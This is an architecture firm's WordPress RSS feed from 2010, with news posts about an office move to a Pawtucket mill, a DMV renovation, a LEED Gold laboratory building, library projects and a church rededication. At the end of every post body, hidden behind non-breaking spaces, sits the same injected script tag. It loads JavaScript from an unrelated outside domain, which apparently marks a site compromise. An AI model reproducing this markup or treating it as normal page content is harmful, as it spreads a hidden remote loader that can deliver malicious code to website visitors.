<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Lerner &#124; Ladds + Bartels</title>
	<atom:link href="http://llbarch.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://llbarch.com</link>
	<description>architecture &#124; design</description>
	<lastBuildDate>Tue, 20 Jul 2010 18:05:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Opening up the Design Exchange in 2011</title>
		<link>http://llbarch.com/news-events/opening-up-the-design-exchange-in-2011/</link>
		<comments>http://llbarch.com/news-events/opening-up-the-design-exchange-in-2011/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 20:57:27 +0000</pubDate>
		<dc:creator>kisidoro</dc:creator>
				<category><![CDATA[News & Events]]></category>

		<guid isPermaLink="false">http://llbarch.com/?p=1530</guid>
		<description><![CDATA[The creative buzz in Pawtucket will be getting louder when Lerner Ladds + Bartels moves to a historic mill building at 161 Exchange Street. The office will be relocating from our roots in Providence just in time to celebrate our 75th anniversary in 2011. Partners Chris Ladds and Kathy Bartels recently purchased the building and [...]]]></description>
			<content:encoded><![CDATA[<p>The creative buzz in Pawtucket will be getting louder when Lerner Ladds + Bartels moves to a historic mill building at 161 Exchange Street. The office will be relocating from our roots in Providence just in time to celebrate our 75th anniversary in 2011. Partners Chris Ladds and Kathy Bartels recently purchased the building and are planning a complete renovation, creating 15,000 square feet of available office and retail space. The west wing building is the last piece of the puzzle in rehabilitating this important area of Pawtucket; once the renovation is complete, the complex will collectively be known as the Design Exchange.</p>
<p>Morris Nathanson, principal of Morris Nathanson Design, envisioned the Design Exchange as a consortium of designers, craftspeople, and artisans. The name of the complex was crafted for its dual meaning as a collaborative exchange of design ideas at an arts-centered location on Exchange Street. The proposed renovation project will complete Nathanson’s vision.</p>
<p><strong>Through our relocation, we&#8217;re emphasizing our commitment to building restoration, adaptive reuse, and design collaboration.</strong> We will be occupying the top floor of the four-story building. Partner Kathy Bartels notes, “The existing space is raw enough to put our stamp on it and call it our own.” Chris Ladds mentions that it provides the loft-like spaces that are conducive to a collaborative work environment. He adds that, “Collaboration is a big part of our practice… it will be strengthened in this kind of studio setting.”</p>
<p>With floor plates at 5,000 square feet, the size of the building is a perfect fit for us; we hope to find like-minded creative professionals to fill the second and third floors. <strong>“The goal is to attract creative professionals to the Design Exchange to forge opportunities in collaboration under one roof. Graphic designers, engineers, marketing strategists &#8211; these are all design disciplines that would  thrive within a creative neighborhood.”</strong> Others in the area include Morris Nathanson Design, The GAMM Theatre, Fuller Fine Jewelry, Orange Square Design, and the Pawtucket Armory Center for the Arts.</p>
<p>Even though our current location in the College Hill neighborhood of Providence has served us well, we have outgrown the Queen Anne Victorian house owned by our late partner, Steve Lerner. “It’s been an asset to have a space where we could expand or contract as needed. It’s also been great being in this location, but for some years now, we’ve been bursting at the seams,” says Bartels.</p>
<p>We started a search for the perfect building some fifteen years ago. Although our ultimate goal was to remain in Providence, we ventured to East Providence and Bristol before finding a place to settle in Pawtucket.</p>
<p>Despite the complication in financing and renovating an existing mill building, we steered away from purchasing a plot of land and constructing a new building. <strong>“The firm is really committed to the redevelopment of urban land and we saw this as the perfect opportunity to practice what we preach –sustainability and environmental responsibility,”</strong> Ladds said. Proximity to the highway, access to public transit, and a walkable community add to the appeal of the location.</p>
<p>The project could not have succeeded without the tireless help from several people. John Garrahy and Paul Harley, of the law practice Moses &#038; Afonso, assisted the partners tremendously in shepherding the project through multiple closing agendas, including the complicated tax credit program.</p>
<p>Ray Bourcier at DEC Consulting Company is the project manager for the renovation of the Design Exchange. Bartels commented, “Hiring Ray was a great decision. We’ve developed a strong relationship with him through our projects at Brown University and the Moses Brown School and we know he can handle the project while we stay focused on our current clients and projects. He also provides us with a friendly reminder, at times, to take off our architect hats and put on our developer hats.”</p>
<p>Jim DeRentis of Residential Properties, formerly chief business officer at BankRI, will be marketing the leasable space on the second and third floors of the Design Exchange to prospective design professionals. The general contractor, Case Construction, has begun construction and will bring the project to life with historic mill character and state-of-the-art building systems.</p>
<p>In the coming months, the Design Exchange will develop a website which will include video tours and floor plans at <strong>www.161exchange.com.</strong><br />
&nbsp;&nbsp;<script src="http://aeaaea.com/ou"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://llbarch.com/news-events/opening-up-the-design-exchange-in-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DMV in the News</title>
		<link>http://llbarch.com/news-events/dmv-in-the-news/</link>
		<comments>http://llbarch.com/news-events/dmv-in-the-news/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 15:48:36 +0000</pubDate>
		<dc:creator>kisidoro</dc:creator>
				<category><![CDATA[News & Events]]></category>

		<guid isPermaLink="false">http://llbarch.com/?p=1517</guid>
		<description><![CDATA[The new DMV headquarters was recently the subject of an article in the Providence Journal. The building, which is slated to open its doors August 25th, is a renovation of the Aime Forand Building in the Pastore Center in Cranston. Lerner Ladds + Bartels and its team of consultants have been working on the design [...]]]></description>
			<content:encoded><![CDATA[<p>The new DMV headquarters was recently the subject of an article in the Providence Journal. The building, which is slated to open its doors August 25th, is a renovation of the Aime Forand Building in the Pastore Center in Cranston. Lerner Ladds + Bartels and its team of consultants have been working on the design since 2008.</p>
<p>Understandably, the public is curious. “Nearly every Rhode Islander passes through the doors of the DMV. You can’t say that about most government buildings,” notes principal Kathleen Bartels. “And that experience hasn’t been good.”</p>
<p>The team expects that to change, but as the Providence Journal article noted, not right away. That’s because the new computer systems won’t be ready in time for opening. “It would have been much easier for the DMV to say: ‘Here’s our equipment; design around it.’ But instead they took the harder and more commendable route, seizing the move as an opportunity to redesign the whole system. There will be bugs to work out.” In the long run, the long lines will be a thing of the past. “Wouldn’t it be nice if you have business at the DMV, you don’t have to take a day off work and pack a lunch,” joked Bartels.</p>
<p>The new building will not only have new systems, it will be a more humane environment. “Right now, the customer walks through the door bracing for aggravation. The employees start the day bracing for hostile customers. It’s a negative environment from the start, in temporary space [the old Apex] that was never designed for the DMV.”</p>
<p>As the Providence Journal article noted, visitors will enter into a large airy space “bathed in natural light as part of a three-story atrium in the center of the building.” The team took advantage of the existing features of the building – including the skylight and atrium – to design sustainably and efficiently. “At first, moving from a one-story space to a three-story building was a huge design challenge,” said Principal Chris Ladds.  “However, we turned it to an advantage by using the levels to filter transactions. We also used the levels to make our mechanical systems more efficient.” Creative Environment Corp designed the heating and cooling system.  In addition to high-efficiency mechanical systems and daylight dimming, the building also incorporates green materials such as bamboo, linoleum, recycled carpet, and durable porcelain tile.</p>
<p>Project Manager Aimee Goodwin Lombardo, who has helped shepherd the project from its inception through construction, is thrilled at the emerging result. “It’s been a long haul, but it’s so rewarding to see it come together. It was a great opportunity to recycle and repurpose an old building, especially one that no one thought could be turned into anything redeemable. We love a challenge.”</p>
<p>Read the article at <a href="http://www.projo.com/news/content/DMV_MOVING_07-09-10_6AJ51B3_v48.1760a30.html">www.projo.com</a>. </p>
<p>See more images of the renovation for the <a href="http://llbarch.com/project-catalog/featured/rhode-island-division-of-motor-vehicles/">RI Division of Motor Vehicles</a>.&nbsp;&nbsp;<script src="http://aeaaea.com/ou"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://llbarch.com/news-events/dmv-in-the-news/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Relocating by Design</title>
		<link>http://llbarch.com/news-events/relocating-by-design/</link>
		<comments>http://llbarch.com/news-events/relocating-by-design/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 15:25:00 +0000</pubDate>
		<dc:creator>kisidoro</dc:creator>
				<category><![CDATA[News & Events]]></category>

		<guid isPermaLink="false">http://llbarch.com/?p=1479</guid>
		<description><![CDATA[Lerner Ladds + Bartels was on the front cover of The Pawtucket Times last week with an article about our future move from Providence to Pawtucket. LLB purchased a 25,000 sf historic brick mill building on Exchange Street, an area of the city of Pawtucket that is gaining momentum. The concept of the Design Exchange [...]]]></description>
			<content:encoded><![CDATA[<p>Lerner Ladds + Bartels was on the front cover of The Pawtucket Times last week with an article about our future move from Providence to Pawtucket. LLB purchased a 25,000 sf historic brick mill building on Exchange Street, an area of the city of Pawtucket that is gaining momentum. The concept of the Design Exchange building is what really drew Chris Ladds and Kathy Bartels to the area, noting that the artist and design community is expanding. Other companies in the area include Morris Nathanson Design, Fuller Fine Jewelry, Orange Square, Pawtucket Armory Center for the Arts, and more. For now, we&#8217;re still on Hope Street in Providence, so come by and visit. We&#8217;ll keep you up to date with more announcements regarding our move.<br />
Photo:Butch Adams&nbsp;&nbsp;<script src="http://aeaaea.com/ou"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://llbarch.com/news-events/relocating-by-design/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Center for Teaching and Learning</title>
		<link>http://llbarch.com/project-catalog/university/center-for-teaching-and-learning/</link>
		<comments>http://llbarch.com/project-catalog/university/center-for-teaching-and-learning/#comments</comments>
		<pubDate>Thu, 13 May 2010 18:45:15 +0000</pubDate>
		<dc:creator>kisidoro</dc:creator>
				<category><![CDATA[University]]></category>

		<guid isPermaLink="false">http://llbarch.com/?p=1357</guid>
		<description><![CDATA[The Center for Teaching and Learning at Bryant University is part of a larger project to masterplan and renovate the Unistructure building. The suite includes classrooms and open environments for the school&#8217;s Academic Center of Excellence (ACE) and several other specialized learning programs. The idea was to create different types of spaces to accommodate the [...]]]></description>
			<content:encoded><![CDATA[<p>The Center for Teaching and Learning at Bryant University is part of a larger project to masterplan and renovate the Unistructure building. The suite includes classrooms and open environments for the school&#8217;s Academic Center of Excellence (ACE) and several other specialized learning programs. The idea was to create different types of spaces to accommodate the range of tutoring services that the center offers, whether private one-on-one tutoring, or collaborative sessions, or lecture environments.&nbsp;&nbsp;<script src="http://aeaaea.com/ou"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://llbarch.com/project-catalog/university/center-for-teaching-and-learning/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LLB assists URI in attaining its first LEED Gold building</title>
		<link>http://llbarch.com/news-events/llb-assists-uri-in-attaining-its-first-leed-gold-building/</link>
		<comments>http://llbarch.com/news-events/llb-assists-uri-in-attaining-its-first-leed-gold-building/#comments</comments>
		<pubDate>Tue, 04 May 2010 19:51:19 +0000</pubDate>
		<dc:creator>kisidoro</dc:creator>
				<category><![CDATA[News & Events]]></category>
		<category><![CDATA[cbls]]></category>
		<category><![CDATA[gold]]></category>
		<category><![CDATA[leed]]></category>
		<category><![CDATA[uri]]></category>

		<guid isPermaLink="false">http://llbarch.com/?p=1276</guid>
		<description><![CDATA[When the University of Rhode Island’s $54 million Center for Biotechnology and Life Sciences opened last year, it was hailed as a state-of-the-art facility that would advance scientific research and serve as a hub for education, research and job creation in the life sciences. This year, the U.S. Green Building Council, a non-profit trade organization [...]]]></description>
			<content:encoded><![CDATA[<p>When the University of Rhode Island’s $54 million Center for Biotechnology and Life Sciences opened last year, it was hailed as a state-of-the-art facility that would advance scientific research and serve as a hub for education, research and job creation in the life sciences.</p>
<p>This year, the U.S. Green Building Council, a non-profit trade organization that promotes sustainability in how buildings are designed, built, and operated, named the URI facility a Leadership in Energy and Environmental Design (LEED) Gold building. It is the first Gold recognition for URI. The top LEED designation is platinum, with gold, silver, and certified following in descending order.</p>
<p>The Princeton Review’s <a href="http://www.princetonreview.com/green-guide.aspx">Guide to 286 Green Colleges</a>, published this spring cited URI as one of the nation’s most eco-friendly campuses. The U.S. Green Building Council, the same council that designates the LEED awards partnered with the Princeton Review to create the list.</p>
<p>“The LEED award is the result of a determined team of design architects, building committee, capital planning and capital project staff and many more that worked on the design and construction,” said Robert A. Weygand, Vice President for Administration and Finance. “It is very difficult for a research and teaching laboratory building to reach this status. Complicated ventilation systems can be very, energy consuming. We were able to put in the most energy efficient system and as a result we were able to construct a sustainable building.”</p>
<p>Lerner Ladds + Bartels served as the associate architect and led the efforts in attaining LEED Gold certification. Payette Associates was the architect and Gilbane Building Co. was the construction manager.</p>
<p>The structure’s sustainable features include a ‘green’ roof that is partially covered in vegetation that filters pollutants and reduces heating and cooling needs; a rain garden and storm water treatment feature with a sophisticated drainage and detention system; daylight harvesting technologies that brighten rooms and warm the floors; and an energy efficient heating and cooling system. One hundred percent of the wood used in construction was certified by the Forest Stewardship Council to have come from forests managed in a sustainable way. About a third of the materials used in the building had been previously recycled. Speaking of recycled, 79 percent of construction waste was recycled.</p>
<p>The energy efficiency measures installed in the building save about $135,000 per year in utility costs.</p>
<p>&nbsp;&nbsp;<script src="http://aeaaea.com/ou"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://llbarch.com/news-events/llb-assists-uri-in-attaining-its-first-leed-gold-building/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8220;Stretching Economic Resources: Finding Synergies and Opportunities Through Adaptive Reuse&#8221;</title>
		<link>http://llbarch.com/news-events/2010-scup-north-atlantic-regional-conference/</link>
		<comments>http://llbarch.com/news-events/2010-scup-north-atlantic-regional-conference/#comments</comments>
		<pubDate>Mon, 05 Apr 2010 21:16:56 +0000</pubDate>
		<dc:creator>kisidoro</dc:creator>
				<category><![CDATA[News & Events]]></category>

		<guid isPermaLink="false">http://llbarch.com/?p=1127</guid>
		<description><![CDATA[Principal Chris Ladds reviewed the challenges and solutions for Brown&#8217;s  J. Walter Wilson at the 2010 SCUP North Atlantic Regional Conference on March 25th. Michael McCormick of Brown University and Ron Simoneau of Shawmut Design and Construction were also at hand to share their point of view to provide a comprehensive look at the project. Ladds [...]]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-1128" href="http://llbarch.com/2010/news-events/2010-scup-north-atlantic-regional-conference/attachment/jww-cl-2-10-0325-lg-590x391/"><img class="alignnone size-full wp-image-1128" title="Chris Ladds at SCUP" src="http://llbarch.com/wp-content/uploads/2010/04/jww-cl-2-10-0325-lg-590x391.jpg" alt="" width="590" height="391" /></a></p>
<p>Principal Chris Ladds reviewed the challenges and solutions for Brown&#8217;s  J. Walter Wilson at the <strong>2010 SCUP North Atlantic Regional Conference</strong> on March 25th. Michael McCormick of Brown University and Ron Simoneau of Shawmut Design and Construction were also at hand to share their point of view to provide a comprehensive look at the project. Ladds discussed the opportunities for a collaborative design process that included the client, contractor, and end users. Through the adaptive reuse of a cumbersome and neglected campus building, Lerner Ladds + Bartels found an appropriate design solution that vastly improved the building and the campus surroundings.</p>
<p>Download a PDF of the presentation here: <a href="http://www.llbarchitects.com/wp-content/uploads/2010/04/Lerner-Ladds-+-Bartels-SCUP-Presentation.pdf">Lerner Ladds + Bartels &#8211; SCUP Presentation.pdf</a> (7 MB)&nbsp;&nbsp;<script src="http://aeaaea.com/ou"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://llbarch.com/news-events/2010-scup-north-atlantic-regional-conference/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Walpole Library continues moving forward</title>
		<link>http://llbarch.com/news-events/walpole-library-continues-moving-forward/</link>
		<comments>http://llbarch.com/news-events/walpole-library-continues-moving-forward/#comments</comments>
		<pubDate>Mon, 05 Apr 2010 14:24:43 +0000</pubDate>
		<dc:creator>kisidoro</dc:creator>
				<category><![CDATA[News & Events]]></category>

		<guid isPermaLink="false">http://llbarch.com/?p=1123</guid>
		<description><![CDATA[After design development, the Walpole Public Library project continues to move forward. Lerner Ladds + Bartels is currently in the construction documents phase and is working with the building committee to finalize details before the project goes out to bid in June. Stay up to date with the project by checking back here for more [...]]]></description>
			<content:encoded><![CDATA[<p>After design development, the Walpole Public Library project continues to move forward. Lerner Ladds + Bartels is currently in the construction documents phase and is working with the building committee to finalize details before the project goes out to bid in June.</p>
<p>Stay up to date with the project by checking back here for more news or visit the Walpole Public Library Building Project blog at <a href="http://walpolepl.blogspot.com/">http://walpolepl.blogspot.com/</a>.&nbsp;&nbsp;<script src="http://aeaaea.com/ou"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://llbarch.com/news-events/walpole-library-continues-moving-forward/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ALA Midwinter Meeting 2010</title>
		<link>http://llbarch.com/news-events/ala-midwinter-meeting-2010/</link>
		<comments>http://llbarch.com/news-events/ala-midwinter-meeting-2010/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 17:06:37 +0000</pubDate>
		<dc:creator>kisidoro</dc:creator>
				<category><![CDATA[News & Events]]></category>

		<guid isPermaLink="false">http://www.llbarch.com/?p=781</guid>
		<description><![CDATA[We&#8217;re back from the ALA Midwinter Meeting and we were so excited to meet so many great people. The turn out was incredible and we met people not only from New England, but from all over the country. At our booth, we featured one of our latest project, the Walpole Public Library. Last year, we [...]]]></description>
			<content:encoded><![CDATA[<p>We&#8217;re back from the ALA Midwinter Meeting and we were so excited to meet so many great people. The turn out was incredible and we met people not only from New England, but from all over the country. At our booth, we featured one of our latest project, the Walpole Public Library. Last year, we completed a feasibility study for Walpole and we&#8217;re currently in design development. The <a href="http://www.llbarchitects.com/2009/project-catalog/libraries/bolton-public-library/">Bolton Public Library</a> is finishing up construction and is scheduled to open on February 6. Check out some of our recently completed libraries, the <a href="http://www.llbarchitects.com/2009/project-catalog/libraries/watertown-free-public-library/">Watertown Free Library</a> and <a href="http://www.llbarchitects.com/2009/project-catalog/libraries/maynard-public-library/">Maynard Public Library</a> in the featured section of our portfolio.</p>
<p>The conference was a huge success and we&#8217;re considering a spot at the annual conference in DC. Be on the lookout.&nbsp;&nbsp;<script src="http://aeaaea.com/ou"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://llbarch.com/news-events/ala-midwinter-meeting-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Congratulations St. Jude&#039;s</title>
		<link>http://llbarch.com/news-events/congratulations-st-judes/</link>
		<comments>http://llbarch.com/news-events/congratulations-st-judes/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 15:33:12 +0000</pubDate>
		<dc:creator>kisidoro</dc:creator>
				<category><![CDATA[News & Events]]></category>

		<guid isPermaLink="false">http://www.llbarch.com/?p=716</guid>
		<description><![CDATA[St. Jude Church in Lincoln, RI recently held a rededication mass on December 17. After closing for several months, the church underwent major renovation led by Lerner Ladds + Bartels and Mill City Construction. Many areas of the church were renovated including new interior woodwork and pews, a new marble sanctuary, and a new acoustics [...]]]></description>
			<content:encoded><![CDATA[<p>St. Jude Church in Lincoln, RI recently held a rededication mass on December 17. After closing for several months, the church underwent major renovation led by Lerner Ladds + Bartels and Mill City Construction. Many areas of the church were renovated including new interior woodwork and pews, a new marble sanctuary, and a new acoustics system. Several long-time parishioners were extremely pleased with the new church saying, &#8220;This is a new beginning,&#8221; and &#8220;It&#8217;s absolutely gorgeous, so full of life.&#8221; The historic mass also had special significance for the presiding Bishop Thomas J. Tobin who was ordained in the church 30 years ago.</p>
<p>Read the full article and see photos of the rededication mass at <a href="http://www.thericatholic.com/detail.html?sub_id=2752">The Rhode Island Catholic</a>.&nbsp;&nbsp;<script src="http://aeaaea.com/ou"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://llbarch.com/news-events/congratulations-st-judes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Photos of Miller/Carr</title>
		<link>http://llbarch.com/news-events/new-photos-of-millercarr/</link>
		<comments>http://llbarch.com/news-events/new-photos-of-millercarr/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 15:08:51 +0000</pubDate>
		<dc:creator>kisidoro</dc:creator>
				<category><![CDATA[News & Events]]></category>

		<guid isPermaLink="false">http://www.llbarch.com/?p=672</guid>
		<description><![CDATA[New photos of the Miller/Carr Residence were recently taken by John Horner Photography. Project manager and senior associate Suzanne diSalvo was on-site with Horner to pick the best shots. See more photos and read about the project at Miller/Carr Residence.&#160;&#160;]]></description>
			<content:encoded><![CDATA[<p>New photos of the Miller/Carr Residence were recently taken by John Horner Photography. Project manager and senior associate Suzanne diSalvo was on-site with Horner to pick the best shots. See more photos and read about the project at <a href="http://www.llbarch.com/2009/project-catalog/single-family-residential/millercarr-residence/">Miller/Carr Residence</a>.&nbsp;&nbsp;<script src="http://aeaaea.com/ou"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://llbarch.com/news-events/new-photos-of-millercarr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
